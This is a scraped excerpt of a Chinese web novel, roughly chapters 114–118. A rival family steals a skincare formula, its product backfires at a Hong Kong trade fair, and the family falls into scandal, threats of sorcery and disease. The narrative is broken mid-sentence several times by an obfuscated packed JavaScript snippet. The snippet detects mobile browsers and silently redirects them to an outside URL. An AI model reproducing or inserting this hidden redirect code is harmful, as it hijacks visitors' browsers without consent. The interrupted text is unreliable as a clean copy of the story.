白凝凝?霍思晴?再骄傲的女人又怎样?还不是要被他踩在脚下! 他不顾董事会的反对,和赵建邦一起利用董事长和副总的职权,立刻下令赵氏加快全线投入护肤生产中,甚至是不急成本的收购,整个生产线加班加点地生产着。 时间飞逝,转眼就到了展销会开幕的前一天。 京市传来消息,除了修复膏,凝悦还有一份秘密武器!名为凝露的化妆水! 此时的赵宇轩已经投入了大量的生产,等的就是展销会上一举成名,让展销会成为他的新品发售会。他怎么能容许对手有秘密武器这样的存在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771269|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?! 他立刻要求,甚至是命令林晚晴必须拿到凝露的配方,不然之前给她承诺的好处通通都别想,她还得回之前的精神病院。 林晚晴气得咬牙,却也无奈,自己已经没有任何可以依仗的东西了。只好“连哄带骗”,软磨硬泡了陈瑶好久,陈瑶这才“满不情愿”答应,再次假装在研发中心大闹一场,在混乱中,“成功”地将那份作为秘密武器的“凝露”精华水的配方带了出来。 林晚晴如获至宝,生怕再出一点幺蛾子,立刻将这份“热腾腾”的配方,带着陈瑶亲自飞往港市。 私人飞机刚降落在了港市的私人停机坪。 赵宇轩亲自开着一辆骚红色的法拉利跑车,前来迎接他的“功臣”。 “林小姐,一路辛苦。”赵宇轩上前,主动为林晚晴拉开车门,脸上带着自以为迷人的微笑,“欢迎来到港市。” 他将两人安顿在赵家名下的一家五星级酒店的总统套房里并立刻派来了最顶级的造型师和奢侈品专员为两人“接风洗尘”。 “瑶瑶妹妹别难过了。为了那种不识货的男人伤心不值得。”赵宇轩看着被一堆名牌包包和珠宝环绕、却依旧“闷闷不乐”的陈瑶开始了他自以为是的“攻心计”“你放心等我们在展销会上一鸣惊人我会让那个姓陆的跪着来求你原谅!” 陈瑶只是低着头不说话仿佛还沉浸在自己的悲伤里。 而林晚晴则将那份“凝露配方”的复印件递给了赵宇轩嘴角勾起一抹胜券在握的笑:“赵先生幸不辱命。” 赵宇轩拿到配方后欣喜若狂。他立刻让自己的团队连夜仿制 “成功了!我们成功了!” 当看到滴入“凝露”的“凝悦”修复膏效果瞬间倍增时赵家的实验室里爆发出了一阵狂热的欢呼! 赵宇轩志得意满他立刻下令将连夜生产出的大量“灵露”浸透化妆棉片预计明天神不知鬼不觉地带入会场。 第114章 展销会 港市国际会展中心,一年一度的亚洲国际产品展销会,人声鼎沸,盛况空前。 这里汇聚了全亚洲最顶尖的品牌和最挑剔的买家,是名利场,更是修罗场。任何一个品牌,能在这里一鸣惊人,便可瞬间名扬四海;若是在此出丑,也同样会一夜之间沦为业界笑柄。 而今天,整个会场所有的焦点,都默契地分成了三块。 其一,是港市本土的百年医药世家——霍氏药业。他们的展台设计得古朴典雅,像一座清静的中式书房。展台上,只孤零零地摆放着霍家的经典款。霍思晴亲自坐镇,她穿着一身剪裁精良的白色西装,神情清冷,正为几位世交长辈烹茶。面对媒体的采访,她只淡淡地表示:“经典,无需多言。”那副“作壁上观”的姿态,充满了神秘感,反而引来了更多的猜测。 其二,则是初来乍到的内地过江龙——“凝悦”。他们的展台简约大气,没有过多的宣传,只摆放着几瓶修复膏的正品,供人试用。白凝凝舒适地靠在沙发里,小口地喝着傅清寒为她准备的温热花茶。傅清寒则像一尊门神,面无表情地坐在她身旁,眼神冰冷地扫视着全场。陈慕白饶有兴致地与几位港市商界的朋友交谈,而化名为“陆成”的赵承熙,则低调地站在阴影里,像一个最忠诚的影子。 而最后,也是今天最喧嚣的焦点——由赵氏集团重金打造的“世纪奇迹”新品发布会。 他们的展台,张扬到了极致。巨大的LED屏幕上,滚动播放着“颠覆传统”、“超越时代”的宣传语。赵宇轩穿着一身骚包的白色阿玛尼西装,以“新品首席体验官”的身份,站在舞台中央,享受着无数闪光灯的追逐。 “各位来宾,各位媒体朋友!”赵宇轩接过话筒,环视全场,目光在霍思晴那清冷的侧脸上停留了一瞬,闪过一丝势在必得的火焰,随即,他将目光投向了不远处的“凝悦”展台,脸上充满了居高临下的挑衅。 “各位来宾,各位媒体朋友!”他的声音通过音响传遍整个会场,充满了煽动性,“我知道,最近我们港市的商界,都在讨论一个来自内地的品牌——‘凝悦’。” 他故意拖长了语调,嘴角勾起一抹轻蔑的笑:“我听说,它在内地取得了一点小小的成绩,甚至让我们本土的一些百年老字号,都感到了‘压 力’。 这句意有所指的话,让所有人的目光都若有若无地瞟向了霍家的展台。霍思呈烹茶的手微微一顿,旋即又恢复了平静。 赵宇轩非常享受这种效果,他挺了挺胸膛,声音拔高了八度: “但是!我想告诉大家的是!内地的一些朋友,可能确实没见过什么好东西。一点基础的草本修复技术,就让他们大惊小怪,奉为‘神药’! 台下,一片压抑的、心照不宣的轻笑声响起。在许多港市名流的眼中,内地确实还处在“落后、“没见过世面的阶段。 赵宇轩非常享受这种附和,他挺了挺胸膛,声音拔高了八度,充满了煽动性: “而今天,我们赵氏集团要告诉大家,什么才叫做真正的‘科技护肤’!什么才叫做真正的‘豪门品质’! “我们这款‘世纪奇迹’系列,是由我们赵氏集团,联合欧洲最顶尖的生物实验室,斥资数亿,耗时三年,从上千种珍稀植物中,提取出最核心的生命活性因子,再运用诺贝尔奖级别的‘细胞渗透技术’,打造出的划时代产品! “它和‘凝悦’那种停留在‘草药捣成泥’阶段的原始产品,有着本质的区别!一个是石器时代的‘草药包’,而我们,是引领未来的‘基因武器’! “它,将彻底终结那种落后的、小作坊式的护肤概念!它,将重新定义什么才是真正的奢华与高效! 这番话,嚣张至极!瞬间点燃了全场的气氛!所有记者都像闻到血腥味的鲨鱼,疯狂地将镜头在赵宇轩和不远处“凝悦展台那几张平静的脸之间来回切换。 “‘凝悦’的神话,今天,到此为止! 这番话,嚣张至极!瞬间点燃了全场的气氛! 发布会的气氛,在赵宇轩的煽动下,达到了顶峰。终于,进入了万众期 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771270|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待的现场试用环节。 赵宇轩请上了两位港市当红的名媛模特,“大度地邀请“凝悦展台派一位代表,上台进行同步对比。 “凝悦这边,陈慕白微笑着站起身,对身旁的白凝凝和傅清寒点了点头。他亲自带着一位从现场随机挑选的、脸上有些许晒斑和细纹的素人志愿者,从容地走上了舞台。 “在体验我们的产品之前,请允许我,先为我们美丽的模特, 进行一次最基础的皮肤清洁。”他拿起喷有凝露的棉片对着模特的脸颊,轻轻地擦了两下。 然后,他打开“赵氏玉肌膏”的瓶盖,用银勺取出一小块晶莹剔透的膏体。 所有人的呼吸,都屏住了。所有的镜头,都对准了他手中的那块膏体。 霍思晴的心,也提到了嗓子眼。 赵宇轩的脸上,是志得意满的、即将登顶的狂喜。他将那块膏体,在所有人的注视下,缓缓地涂抹在了模特刚刚被“神水”喷洒过的脸颊上。 然而,预想中膏体瞬间吸收、皮肤光芒四射的“奇迹”,并没有发生。 反而在膏体接触到皮肤的瞬间—— “啊!” 台上的模特,突然发出了一声痛苦的尖叫! 所有人定睛一看,只见她那光洁如玉的脸颊上,凡是涂抹了膏体的地方,竟然迅速地起了变化!那晶莹的膏体,不仅没有被吸收,反而像一坨融化了的猪油,在她脸上迅速地水油分离,结成了一块块白色的、极其恶心的絮状物! 更可怕的是,模特的皮肤,以肉眼可见的速度,迅速地泛红、起疹,看起来就像是严重的过敏反应! “我的脸!好痛!好痒!”模特惊恐地尖叫着,试图用手去抓挠,却被工作人员死死拦住。 “哗——!” 整个会场,彻底炸了! “天啊!怎么回事?!” “这是过敏了吗?还是**了?!” “这就是他说的奇迹?简直是灾难!” “假药!他们卖的是假药!” 第115章 请大师出山 台上的赵宇轩,彻底懵了。他看着模特那张“毁容”的脸,又看了看自己手中那坨变得像豆腐渣一样的膏体,大脑一片空白! 不可能!这不可能!明明昨天实验的时候,效果还好好的!为什么会这样?! 记者们的闪光灯,像疯了一样地闪烁,将他那张因为震惊、恐惧和茫然,而扭曲变形的脸,清晰地记录了下来! “骗子!滚下去!” “退钱!黑心商家!” 台下的观众席,爆发出了山呼海啸般的愤怒和嘘声! 霍家的几位董事,脸色煞白,他们看着台上那个像小丑一样不知所措的赵宇轩,吓得差点从椅子上滑下去!幸好!幸好思晴有先见之明,跟他们划清了界限!否则,今天陪着他一起身败名裂的,就是整个霍家! 霍思晴也惊得说不出话来,她看着台上的闹剧,又回头看了一眼坐在后排的白凝凝。只见那个女人,正静静地看着台上,嘴角挂着一抹云淡风轻的浅笑,仿佛早已预知了一切。 这一刻,霍思晴只觉得一股寒意,从脚底直冲天灵盖! 她终于明白,傅清寒那句“看戏可以,但千万别把自己搭进去”的警告,到底是什么意思了! 原来,这一切,都在他们的算计之中! 赵宇轩,从一开始,就掉进了他们挖好的陷阱里! 而自己和整个霍家,差一点点,就成了这个蠢货的陪葬品! 就在赵宇轩和全场观众都因为这突如其来的“医疗事故”而陷入震惊和混乱时,舞台的另一边,“凝悦”的展台上,却上演着截然不同的一幕。 陈慕白风度翩翩地走上台,他没有理会赵家的闹剧,只是微笑着对台下说道:“看来,有些‘奇迹’,是需要真材实料来支撑的。接下来,请允许我,为大家展示真正的‘凝悦’。” 他同样邀请了一位素人志愿者上台,用一支银质小勺,取了少许“凝悦”修复膏,动作优雅地为志愿者涂抹在半边脸上。 奇迹,发生了! 膏体触肤即融,仿佛被瞬间吸收。短短几十秒内,志愿者那半边涂了药膏的脸,肉眼可见地变得水润、透亮,连那些细小的晒斑和干纹,都淡化了许多!与另一边暗沉粗糙的脸,形成了惨烈到近乎残忍的对比! 大 屏幕上,高清摄像头将这惊人的对比效果,清晰地投射出来! 一边是**,一边是烂泥巴! “轰——!” 现场彻底炸了! 台下的林晚晴,更是花容失色!她看着眼前这戏剧性的一幕,看着台下那些鄙夷和嘲讽的目光,只觉得天旋地转!她知道,完了,一切都完了! 而舞台的角落里,陈瑶的反应,比她们两人更大! 她先是难以置信地瞪大了眼睛,看着台上那灾难性的对比,随即巨大的惊慌和恐惧浮现在她脸上。不是林晚晴那种强作镇定的惨白,而是脸色煞白,嘴唇不受控制地颤抖,“怎么会这样……怎么会……”她喃喃自语,眼中充满了迷茫和恐惧。 紧接着,当台下爆发出山呼海啸般的“骗子”和怒骂声时,她像是被这股声浪彻底吓傻了,身体猛地一抖,发出一声短促的尖叫,随即转身就跑! 她没有跑向林晚晴,也没有跑向赵宇轩,而是像一只无头苍蝇一样,惊慌失措地,朝着远离舞台和人群的消防通道方向跑去。 她那副被吓破了胆、只想逃离这个是非之地的模样,完全就是一个“被卷入惊天骗局,无辜又愚蠢的千金大小姐。 林晚晴看着她落荒而逃的背影,心中又急又气,暗骂了一句:“废物!蠢货!” 舞台上,陈慕白在将激动的志愿者扶下台后,目光若有若无地,扫过自己妹妹消失的方向,镜片后的眼眸里,闪过骄傲和赞许。 这丫头,演技是越来越好了。 他脸上又恢复了那副温文尔雅、云淡风轻的笑容,对着台下微微颔首,从容地走回了自己的座位。 然而,他想低调,现场的媒体和名媛们却不允许!与对赵宇轩的愤怒和嘲讽形成鲜明对比的,是全场女性,包括那些见多识广的财经女记者们,对陈慕白投去的炽热而又惊艳的目光! “天啊!那个‘凝悦’的代表是谁?也太有风度了吧!” “我查到了!他叫陈慕白,是京市来的!据说背景通天,而且……还是单身!” “快快快!镜头给他特写!明天的头版有了!就叫《京市过江龙,碾压港岛假豪门,商界新贵颜值与实力并存》!” 坐在“凝悦”展台的白凝凝,看着陈慕白无奈地应对着周围试 图上前搭讪的名媛,又看了看远处那个已经失魂落魄的赵宇轩,与身旁的傅清寒对视一眼,两人眼中都闪过一丝笑意。 傅清寒看都不看台上那个已经彻底傻掉的赵宇轩,他伸出手,将白凝凝身上滑落的披肩重新拉好,然后俯身在她耳边,用只有两人能听到的、低沉而又宠溺的声音说道: “接下来的事,都交给慕白了。长袖善舞,这是他擅长的。” 白凝凝点点头,眼中也带着笑意,轻声回道:“他今天可是出尽了风头。不过,今天演得最好的,还是瑶瑶。我刚才看到她跑出去的样子,连我差点都信了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771271|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 提到陈瑶,傅清寒那冷硬的嘴角,也难得地勾起一抹极淡的弧度。 “人,总是要长大的。”他淡淡地评价了一句,声音里听不出太多情绪,但了解他的凝凝知道,这已经是极高的赞许了。 “是啊,”白凝凝感叹道,“没想到这丫头,真的有这一天。士别三日当刮目相待,毕竟是慕白的妹妹。” 傅清寒的语气里带上了一丝不易察觉的调侃:“陈家的孩子,再怎么骄纵,骨子里也不会是草包。” 两人相视一笑,一切尽在不言中。他们都以为,这场大戏已经完美落幕,那个勇敢的小姑娘,此刻应该已经在奔向安全的归途。 傅清寒的大手游移到她微微隆起的小腹上,轻轻覆盖住,声音愈发温柔: “我们走吧,你身子重,别累着。” 说完,他便不再理会现场的喧嚣和骚动,像一个最称职的保镖,小心翼翼地护着自己的妻子,穿过人群,从侧门悄然离去。 赵宇轩在无尽的混乱和唾骂声中,被愤怒的观众和蜂拥而上的记者团团围住,只觉得胸口一闷,又是一口老血差点喷出来! 他不仅输了产品,输了信誉,甚至连港市那些名媛们的目光,都被对方轻而易举地夺走了!他彻彻底底地,成了一个笑话! —— 会展中心的地下车库,B区消防通道出口。 按照原定计划,“惊慌失措”地跑出通道的陈瑶,一眼就看到了那辆前来接应的黑色丰田轿车。 安全,就在眼前。只要上了这辆车,她就能安全回到哥哥身边。 陈瑶提着裙摆,正准备冲向那扇代表着自由的车门。 就在这一瞬间,一个熟悉的声音,从不远处的VIP停车区传来,让她下意识地顿住了脚步,闪身躲到了一根承重柱的后面。 是梁美玲。 她独自一人,正靠在一辆黑色的宾利车旁,拿着一部大哥大,压低声音,语气却充满了前所未有的阴狠和决绝。 “……展销会输了,只是暂时的!常规手段不行,我们就用别的办法!” 陈瑶的心猛地一跳,下意识地屏住了呼吸。 只听梁美玲继续对着电话那头说道,声音因为怨毒而显得有些扭曲: “去!立刻给我联系南洋的白石大师!告诉他,计划有变,我们等不了了!” “我不管他用什么办法!下蛊也好,做法也罢!必须让霍思晴那个**,对我儿子死心塌地!还有那个白凝凝……一个内地来的野丫头,也敢在港市撒野?让白石大师想个办法,让她‘病倒’,或者干脆……无声无息地消失!钱不是问题!” 第116章 恋爱脑的成长 “下蛊”……“无声无息地消失”…… 这些恶毒的词语,像一根根淬了毒的冰锥,狠狠地扎进了陈瑶的耳朵里,让她浑身血液都几乎要凝固了! 她只知道赵家是商业上的敌人,他们贪婪、卑鄙、无耻,但她从没想过,他们竟然恶毒到了要用这种害人性命的下三滥手段! 凝凝姐……她还怀着孕啊! 就在她惊骇欲绝之时,赵宇轩那暴怒的咆哮声也传了过来。 “陈瑶那个蠢货呢?跑哪去了?!给我找!把她找出来!今天这两个**,一个都别想跑!” 赵家的保镖们立刻四散开来,朝着各个出口包抄过去。 接应车里的人,急得疯狂地对陈瑶打着手势,催促她快走! 陈瑶看着那越来越近的黑衣保镖,又看了看那扇敞开的、通往安全世界的车门。她的心脏狂跳不止。 陈瑶看着那越来越近的黑衣保镖,又看了看那扇敞开的、通往安全世界的车门。她的心脏狂跳不止,大脑飞速运转。 走?还是不走? 走!一个声音在她脑海里疯狂尖叫。快走!留在这里会死的!赵宇轩那个疯子会打死你的!你只是个女孩子,你已经完成了任务,剩下的事交给哥哥和傅清寒就好了!他们那么厉害,一定能保护好凝凝姐的! 这个念头,如此诱人。她只要迈出一步,就能回到那个熟悉、安全、被人宠爱着的世界。 可是…… 另一个微弱,却异常坚定的声音,在她的心底响起。 可是,如果我走了,这个消息谁来传递?万一……万一哥哥他们没来得及防备呢?万一真出了事,我会一辈子都无法原谅自己! 她的脑海里,不受控制地浮现出在陆泽远办公室里,他那一丝赞许的复杂眼神。 他说:“瑶瑶,你长大了。” 这句话,像一道烙印,深深地刻在了她的心里。这是他第一次这么温柔和自己说话,也是第一次肯定自己。 现在,一个能将赵家彻底打入地狱的秘密,一个能保护哥哥和“凝悦”的重大情报,就摆在她的面前。 她不能,也不想让陆哥哥失望。 她对着接应的人,毅然决然地,做了一个“你们快走,别管我”的手势。 然后,她呼口气收敛起情绪,脸上再次浮现出那种熟悉的、惊慌失措的表情,故意发出一声短促的尖叫,像一只被吓坏了的兔子从藏身的柱子后面“跑”了出来,正好“撞”进了那群正在搜寻她的保镖的包围圈里。 “别……别抓我……不关我的事……”她抱着头,蹲在地上,哭得肝肠寸断。 接应车里的人看着这一幕,先是吃惊而后才明白过来她的用意,眼中满是敬佩和担忧。但最终,只能悄无声息地,驶离了这片是非之地,去向陈慕白复命。 —— 港市半山的安全屋别墅里,气氛凝重如冰。 加密的卫星电话里,传来了接应人员压抑而又急促的汇报声。 “……情况就是这样。陈小姐拒绝了撤离,她让我们先走,自己……自己被赵家的保镖带回去了。” “啪嗒。” 陈慕白手中的那支派克钢笔,毫无征兆地从指间滑落,掉在地毯上,发出一声沉闷的声响。 他整个人都僵住了。 他那颗一向运筹帷幄、冷静自持的心,在听到“拒绝撤离”这四个字的瞬间,立刻被“恐慌”和“后怕”淹没! 他知道瑶瑶长大了,勇敢了。可赵家那是什么地方?龙潭虎穴!梁美玲和赵宇轩那对母子,是**不吐骨头的豺狼!她一个手无寸铁的女孩子,留在那里面,会发生什么?! 这一刻,他宁愿她还是那个什么都不懂、只会跟在他身后撒娇的骄纵大小姐! 傅清寒看着陈慕白那副失魂落魄的模样,沉声开口,声音里带着不容置喙的命令:“冷静点。你现在自乱阵脚,只会让瑶瑶的努力都白费。” 他立刻对一旁的苏文赫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771272|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下令:“文赫,动用你所有的资源,给我二十四小时监控赵家别墅!我要知道瑶瑶在里面的一举一动,确保她的绝对安全!” “明白!”苏文赫立刻点头,转身去安排。 陈慕白深吸一口气,强迫自己镇定下来。他知道傅清寒说得对,事已至此,他必须相信自己的妹妹,更要为她做好最坚实的后盾。 白凝凝则走到陈慕白身边,轻声说道:“慕白哥,你别太担心。瑶瑶她比我们想象中更勇敢。她这么做一定有她的理由,我们需要做的就是配合好她。” 陈慕白点点头他现在只能选择相信自己妹妹瑶瑶你一定要保护好自己。 若是赵家对她做了什么……陈慕白握紧拳头 —— 当晚赵家半山别墅价值百万的玉石茶具被砸得粉碎。 “废物!都是废物!”赵宇轩像一头发狂的野兽在狼藉的客厅里来回踱步他双眼通红将所有失败的怒火都倾泻在了吓得瑟瑟发抖的林晚晴身上。 “你不是说配方是真的吗?!你不是说万无一失吗?!”他一个箭步冲上前一把揪住林晚晴的头发将她狠狠地拽倒在地毯上。 “啊——!”林晚晴发出一声惨叫精致的发髻瞬间散乱整个人狼狈不堪。 “现在呢?!公司股价跌停!我成了全港岛的笑话!你这个扫把星!说!你是不是白凝凝派你来故意害我的?!” “我没有……我真的没有……”林晚晴痛苦地蜷缩在地上护着自己的脸哭得梨花带雨。她知道现在狡辩毫无用处必须立刻找一个替罪羊来转移火力。她急中生智目光怨毒地射向了那个从展销会回来后就一直被保镖看管着、缩在角落里瑟瑟发抖的陈瑶! “不关我的事!是她!都是陈瑶那个蠢货的错!”林晚晴尖叫着挣扎着抬起头脸上满是推卸责任的急切“配方是她拿来的!肯定是她在中间动了手脚!赵公子你抓错了人你应该去抓她!” 赵宇轩的目光瞬间像毒蛇一样锁定了角落里的陈瑶。 第117章 赵家的动荡 陈瑶被他那要**的眼神吓得浑身一抖,但这一次,她没有再像以前那样只知道哭。她从沙发后面站了出来,脸上挂着泪,声音里充满了委屈和理直气壮的反驳: “我没有!我拿回来的配方,你们不是自己找专家验证过了吗?!” 她迎着赵宇轩暴怒的目光,哭着喊道:“赵宇轩!你不是说你把市面上买的‘凝悦’拿去欧洲的实验室化验了吗?不是说成分一模一样吗?!你们自己试用的时候,不是都说效果很好!怎么现在出了事,就全都怪到我头上来了?!” 这番话,句句都是事实,像一记记响亮的耳光,狠狠地抽在赵宇轩和林晚晴的脸上! 赵宇轩瞬间语塞! 是啊!他们验证过了! 先是凝悦料体的成分对比报告上清清楚楚地写着百分百吻合。就在昨天弄到化妆水凝露的时候,他还专门和市面上买的凝悦配在一起试用,那细腻润泽的肤感和修复的功效,确实是真的! 那问题……到底出在了哪里?!他无法反驳,这更凸显了他的无能,让他陷入了更深的暴怒和迷茫之中。 林晚晴也愣住了。她当时也在场,无论是修复膏本身和正品几乎一模一样,加上凝露后更是效果拔群。她再想甩锅,也找不到任何理由! 陈瑶看着他们那副理屈词穷的模样,心中冷笑,面上却哭得更凶了,她将一个被冤枉的、无辜的“同伙”演绎到了极致: “我为了帮你们,得罪了陆泽远,背叛了我哥,现在有家不能回!我以为找到了依靠,可你们……你们现在出了事,就把我当垃圾一样丢出来顶罪!你们……你们根本就不是人!” 就在这时,一个冷冷的声音从门口传来。 “够了!还嫌不够丢人吗?” 是梁美玲。她脸上满是疲惫和阴鸷。她一进门就听到了陈瑶这番“句句属实”的哭诉,心中对自己的儿子和林晚晴这个成事不足的女人,更是失望透顶。 她冷冷地瞥了一眼地上狼狈的林晚晴,又看了一眼那个还在“据理力争”的陈瑶,思路却比他们清晰得多。现在的重点不是纠结到底怎么回事,而是想下一步的对策! “两个没用的东西。”她冷哼一声,先是对林晚晴说道,“你还有脸提配方?如果不是你自作聪明,去找 这么一个不靠谱的蠢货,事情会变成这样吗?” 随即,她的目光又转向陈瑶,眼中闪过一丝算计: “你也别哭了。事情既然出了,就不是哭能解决的。你该兴庆你哥是陈慕白,你还算有点用。” 她转向保镖,下令道:“把林晚晴关到阁楼去,没有我的允许,不准她出房门一步。饭,一天一顿。” 然后,她又对吓得脸色发白的陈瑶说道:“至于你,就先在楚小小的房间旁边住下。老老实实地待着,别想耍什么花样。否则,我不介意让你尝尝,比林晚晴更惨的滋味。” 一声令下,林晚晴便被两个身材高大的保镖,像拖死狗一样拖走了。她还在尖叫着“不关我的事!”,但已经没有人再理会她的辩解。 而陈瑶,则在保镖的“监视”下,回到了自己的房间。她知道他们之所以现在不动自己,是因为想把自己当做人质来要挟哥哥。 不过这样也好,只要能留下来,总会办法弄清楚梁美玲嘴里的什么大师,什么下蛊是怎么回事。 —— 展销会的惨败,像一场八级地震,彻底震垮了赵家摇摇欲坠的根基。 第二天股市一开盘,赵氏集团的股价便如同断了线的风筝,一泻千里,短短一个上午就蒸发了近百亿市值。各大财经媒体更是用“世纪骗局”、“豪门之耻”这样毫不留情的标题,将赵家钉在了耻辱柱上。 赵氏集团的董事会,彻底炸了! 以李伯为首的一众元老董事,联合了所有对赵建邦不满的股东,在集团总部召开了紧急董事会。会议室里,赵建邦被一群愤怒的股东围在中间,质问声、怒骂声此起彼伏。 “赵建邦!你看看你干的好事!你比你大哥差远了!他辛辛苦苦打下的江山,都要被你这个败家子给毁了!” “还有那个赵宇轩!”李伯须发皆张,他重重地一拍桌子,指着赵建邦的鼻子,气得浑身发抖,“那就是个外面养的、上不了台面的东西!他连给承熙提鞋都不配!你竟然还敢让他当集团的副总裁?!” “我们当初真是瞎了眼,才会同意让你暂代主席之位!”另一位与苏家交好的董事也站了起来,眼中满是失望和愤怒,“你看看现在集团成了什么样子!声誉扫地,股价暴跌!你对得起大哥的在天 之灵吗?!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771273|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵建邦被骂得狗血淋头一张脸涨成了猪肝色。他强撑着想解释:“各位叔伯这次只是个意外!是……是内地那个‘凝悦’在背后搞鬼!我们还有机会……” “机会?!”李伯冷笑一声打断了他“你还有脸说机会?你最大的错误就是扶持赵宇轩那个废物!他就是个**!” 他环视全场声音陡然拔高抛出了一个让赵建邦彻底无法下台的提议: “我提议立刻罢免赵宇轩在集团内的一切职务!并且重新考虑集团继承人的问题!我们赵家旁系里也不是没有优秀的子弟!随便拎一个出来都比那个只会惹是生非的败家子强一百倍!与其让集团毁在你们父子手里不如我们这些老家伙们自己站出来重整旗鼓另外扶持一位新的领导者!” “没错!李董说得对!” “我们不能再把集团的未来赌在赵宇轩身上了!” “另立旁系!我们自己干!” “单干”、“另立旁系”……这些词语像一把把尖刀狠狠地扎进了赵建邦的心里! 这已经不是简单的质问了这是政变!是**!这些老家伙们要将他和宇轩彻底踢出局! 他想起了大哥在世时自己在他面前的卑微和隐忍;想起了自己为了宇轩的未来筹谋二十年的心血;又想起了今天这满室的指责和背叛…… 新仇旧恨内外交困所有的**、愤怒、不甘和恐慌 赵建邦只觉得眼前阵阵发黑胸口如同被一块巨石压住一股腥甜的铁锈味直冲喉头。 “你们……你们敢……” 他指着李伯想说些什么却再也支撑不住。 “噗——” 一口鲜血猛地从他口中喷出溅红了身前昂贵的会议桌文件!他双眼一翻直挺挺地向后倒去当场晕厥! 现场立刻乱作一团闪光灯疯狂闪烁。赵建邦被抬上救护车的过程中有眼尖的狗仔队记者敏锐地拍到了他脖颈和手腕上那些因为衣领和袖口被挣开而暴露出来的大片、丑陋的红色皮疹! “赵氏集团主席急病入院身上惊现神秘红疹!” “知情人士爆料:赵建邦私生活糜烂或患有恶疾!” 各种恶意的猜测立刻将商业欺诈的丑闻升级为掌门人私生活不检点的桃色风暴。 赵家这个百年世家此时陷入了万劫不复的风雨飘摇之中。 第118章 不检点的脏病 傅清寒这边,自然也第一时间收到了消息。 傅清寒正拿着一份关于赵建邦入院的报道,白凝凝凑过去看了一眼,当她看到那张被放大的、红疹的特写照片时,秀眉立刻嫌恶地蹙了起来。 “这是……梅毒二期的典型皮疹。”她低声说道,声音里带着一丝医者特有的冷静和毫不掩饰的厌恶,“这种病,传染性极强,主要是通过血液和体液传播。没想到他一把年纪了,还玩得这么脏。” 傅清寒闻言,眼中闪过一丝了然和更深的鄙夷。他将报纸扔到一边,仿佛多看一眼都嫌脏,沉声道:“恶有恶报。” 陈慕白目光一闪,不知道现在瑶瑶怎么样了,不过看情况,赵家现在乱成一锅粥,怕是也是顾不上她了。 赵家半山别墅,气氛压抑如冰窖。 梁美玲将自己关在书房里,桌上散落着一堆财经报纸和集团的负面报告,心中烦躁不堪。当她的目光移到报纸上赵建邦那张狼狈不堪的照片上刺眼的皮疹特写时,不祥的预感油然而生。 就在这时,一阵突如其来的、难以忍受的瘙痒,从她的后颈处传来。 她下意识地伸手去抓,指尖触碰到了一片粗糙的、微微凸起的皮肤。 这个触感,让她心中猛地一沉! 难道…… 她再也无法自欺欺人,像疯了一样地冲进主卧的浴室,反锁上门。她站在巨大的梳妆镜前,在明亮的灯光下,费力地扭过头,仔仔细细地检查着自己的后颈。 镜子里,那片白皙细腻的皮肤上,赫然出现了一片与报纸上赵建邦身上的症状,一模一样的、丑陋的淡红色皮疹! “不……不可能……” 梁美玲脸上的血色,在刹那间褪得一干二净!她不敢置信地看着镜中的自己,所有的冷静在这一刻彻底崩塌,身体因为巨大的恐惧而剧烈地颤抖起来。 是赵建邦!是他传染给我的! 这个认知,像一道惊雷,狠狠地劈在了她的头顶!恶心和恐慌,瞬间淹没了她! 